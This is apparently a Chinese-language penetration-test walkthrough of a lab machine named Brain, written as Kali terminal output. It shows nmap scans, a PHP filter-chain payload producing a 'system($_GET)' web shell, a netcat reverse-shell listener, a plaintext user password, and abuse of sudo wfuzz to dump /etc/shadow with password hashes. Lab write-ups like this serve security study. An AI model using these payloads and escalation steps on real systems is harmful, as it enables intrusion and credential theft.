┌──(root㉿kali)-[~] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 16:14 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00100s latency). MAC Address: 0A:00:27:00:00:06 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00066s latency). MAC Address: 08:00:27:2E:84:EB (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.13 Host is up (0.00057s latency). MAC Address: 08:00:27:26:F4:71 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.58 seconds
靶机IP:192.168.2.13
2、端口扫描
1.全端口扫描
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┌──(root㉿kali)-[~] └─# nmap --min-rate 10000 -p- 192.168.2.13 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 16:14 +0800 Nmap scan report for 192.168.2.13 Host is up (0.00017s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:26:F4:71 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds
┌──(root㉿kali)-[~] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.13 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 16:14 +0800 Nmap scan report for 192.168.2.13 Host is up (0.0011s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 32:95:f9:20:44:d7:a1:d1:80:a8:d6:95:91:d5:1e:da (RSA) | 256 07:e7:24:38:1d:64:f6:88:9a:71:23:79:b8:d8:e6:57 (ECDSA) |_ 256 58:a6:da:1e:0f:89:42:2b:ba:de:00:fc:71:78:3d:56 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). MAC Address: 08:00:27:26:F4:71 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds
3.udp扫描
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┌──(root㉿kali)-[~] └─# nmap -sU --top-ports 100 192.168.2.13 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 16:15 +0800 Nmap scan report for 192.168.2.13 Host is up (0.0014s latency). All 100 scanned ports on 192.168.2.13 are in ignored states. Not shown: 57 closed udp ports (port-unreach), 43 open|filtered udp ports (no-response) MAC Address: 08:00:27:26:F4:71 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 57.06 seconds
二、WEB渗透
1、80端口
访问80端口,是一个进程任务的列表
2、目录扫描
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┌──(root㉿kali)-[~] └─# gobuster dir -u http://192.168.2.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,bak
┌──(root㉿kali)-[~/Tool] └─# python3 php_filter_chain_generator.py --chain "<?php system(\$_GET['a']);?>" [+] The following gadget chain will generate the following code : <?php system($_GET['a']);?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWydhJ10pOz8+) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
执行反弹shell的命令
监听,成功获取到shell
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┌──(root㉿kali)-[~/Tool] └─# nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.2.4] from (UNKNOWN) [192.168.2.13] 49404 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
四、权限提升
1、获取ben权限
查看系统运行的进程,成功获取到用户ben的密码
1
ben:B3nP4zz
成功登录
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┌──(root㉿kali)-[~/Tool] └─# ssh ben@192.168.2.13
ben@brain:~$ id uid=1000(ben) gid=1000(ben) groups=1000(ben)
2、获取root权限
查看sudo -l
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ben@brain:~$ sudo -l Matching Defaults entries for ben on Brain: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ben may run the following commands on Brain: (root) NOPASSWD: /usr/bin/wfuzz
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
******************************************************** * Wfuzz 2.3.4 - The Web Fuzzer * ********************************************************
Target: http://192.168.2.4/FUZZ Total requests: 26
================================================================== ID Response Lines Word Chars Payload ==================================================================
000002: C=404 13 L 32 W 335 Ch "daemon:*:18651:0:99999:7:::" 000003: C=404 13 L 32 W 335 Ch "bin:*:18651:0:99999:7:::" 000001: C=404 13 L 32 W 335 Ch "root:$6$dYmzBegce95vTVtb$sE8QJJjcUj3Pr7OHs.ynQZhHQGFaH2tvvbIOpVYAfFcsfRjjap1Xn4r03qY0VXRpCcZcU.9YNNAC3yuP8kf0.1:19466:0:99999:7:::" 000006: C=404 13 L 32 W 335 Ch "games:*:18651:0:99999:7:::" 000008: C=404 13 L 32 W 335 Ch "lp:*:18651:0:99999:7:::" 000004: C=404 13 L 32 W 335 Ch "sys:*:18651:0:99999:7:::" 000005: C=404 13 L 32 W 335 Ch "sync:*:18651:0:99999:7:::" 000007: C=404 13 L 32 W 335 Ch "man:*:18651:0:99999:7:::" 000013: C=404 13 L 32 W 335 Ch "www-data:*:18651:0:99999:7:::" 000011: C=404 13 L 32 W 335 Ch "uucp:*:18651:0:99999:7:::" 000012: C=404 13 L 32 W 335 Ch "proxy:*:18651:0:99999:7:::" 000014: C=404 13 L 32 W 335 Ch "backup:*:18651:0:99999:7:::" 000016: C=404 13 L 32 W 335 Ch "irc:*:18651:0:99999:7:::" 000015: C=404 13 L 32 W 335 Ch "list:*:18651:0:99999:7:::" 000019: C=404 13 L 32 W 335 Ch "_apt:*:18651:0:99999:7:::" 000017: C=404 13 L 32 W 335 Ch "gnats:*:18651:0:99999:7:::" 000018: C=404 13 L 32 W 335 Ch "nobody:*:18651:0:99999:7:::" 000020: C=404 13 L 32 W 335 Ch "systemd-timesync:*:18651:0:99999:7:::" 000021: C=404 13 L 32 W 335 Ch "systemd-network:*:18651:0:99999:7:::" 000023: C=404 13 L 32 W 335 Ch "messagebus:*:18651:0:99999:7:::" 000025: C=404 13 L 32 W 335 Ch "systemd-coredump:!!:18651::::::" 000024: C=404 13 L 32 W 335 Ch "sshd:*:18651:0:99999:7:::" 000026: C=404 13 L 32 W 335 Ch "ben:$6$UHPEI8/0TIe9ujN6$tAiJp2x3QN0DH3MSCMYgyAUA241o2CWJ47agef1GfAMatBw5i3.MMocpoq7kvBnPNtQupCrvIRQtfnV5OFkcD0:19466:0:99999:7:::" 000022: C=404 13 L 32 W 335 Ch "systemd-resolve:*:18651:0:99999:7:::" 000010: C=404 13 L 32 W 335 Ch "news:*:18651:0:99999:7:::" 000009: C=404 13 L 32 W 335 Ch "mail:*:18651:0:99999:7:::"